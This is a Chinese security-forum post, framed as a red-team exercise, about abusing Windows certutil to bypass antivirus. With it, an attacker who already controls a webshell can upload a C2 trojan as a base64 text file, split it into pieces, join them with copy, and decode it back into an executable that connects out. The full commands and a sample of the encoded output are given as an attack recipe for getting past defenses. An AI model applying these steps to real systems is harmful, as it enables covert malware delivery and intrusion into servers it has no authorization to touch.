首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
SAAS
IT技术论坛门户
ToB门户
了解全球最新的ToB事件
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
微头条
Follow
记录
Doing
博客
Blog
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
排行榜
Ranklist
相册
Album
应用中心
qidao123.com技术社区-IT企服评测·应用市场
»
论坛
›
安全
›
网络安全
›
实战攻防演练--利用微软自带Certutil命令ByPassAV上传C2 ...
返回列表
发新帖
实战攻防演练--利用微软自带Certutil命令ByPassAV上传C2
[复制链接]
发表于 2023-11-11 07:19:42
来自手机
|
显示全部楼层
|
阅读模式
Certutil
Certutil.exe是Windows操作系统中的合法程序,主要用于管理证书相关操作。它提供了转储和显示证书颁发机构(CA)的
配置
信息、
配置
证书服务、
备份
和还原CA组件,以及验证证书、密钥对和证书链等
功能
,然而,由于其
功能
强大,很多攻击者滥用Certutil.exe程序将其用于攻击辅助,常用于远程下载,但不知道它还能
加密
解密本地文件(不会报毒,可以用来ByPassAV)
实战使用前提
在实战中有一种这有的场景,通过前期打点获取到了网站的入口,上传webshell拿下
服务器
网站权限,WebShell只能上传写入,有杀软和网站限制,只能上传txt,这种情况我就通过本次实战案例,给大家演示一下整个ByPass过程
加密
exe格式木马为txt格式
首先,使用viper平台准备好C2木马,这里通过 Certutil -encode 1.exe 1.txt 命令进行
加密
导出,这里会修改exe格式为txt, 同时我们通过type查看命令,查看1.txt,看到文件有如下特征
Certutil 加密导出的特征
-----BEGIN CERTIFICATE-----
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAA5JBHdfUV/jn1Ff459RX+O
WoMEjn5Ff459RX6Of0V/jnQ96o58RX+OdD3ujnxFf45SaWNofUV/jgAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA==
-----END CERTIFICATE-----
复制
代码
切割TXT文件并拼接、解密
由于某些场景会限制文件上传大小,没办法通过WebShell上传写入,可以通过将txt切割分为多个后上传
新建一个文件夹,全部上传,上传后目录如下所示
使用copy命令执行copy 001.txt + 002.txt + 003.txt + 004.txt 2.txt 将txt合并,按顺序拼接为2.txt,这里拼接后的2.txt文件内容与加密的1.txt一致
之后我们将加密导出的 2.txt 用 Certutil 进行解密操作,执行Certutil -decode 2.txt C2.exe 命令后,还原为我们的C2木马
如下图所示,已经还原为C2木马,我们执行,查看是否可以上线
到此一步已经完成上线,可进行后续操作
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
继续阅读请点击广告
本帖子中包含更多资源
您需要
登录
才可以下载或查看,没有账号?
立即注册
×
回复
使用道具
举报
返回列表
农民
+ 我要发帖
登录参与点评抽奖加入IT实名职场社区
下次自动登录
忘记密码?点此找回!
登陆
新用户注册
用其它账号登录:
关闭
快速回复
返回顶部
返回列表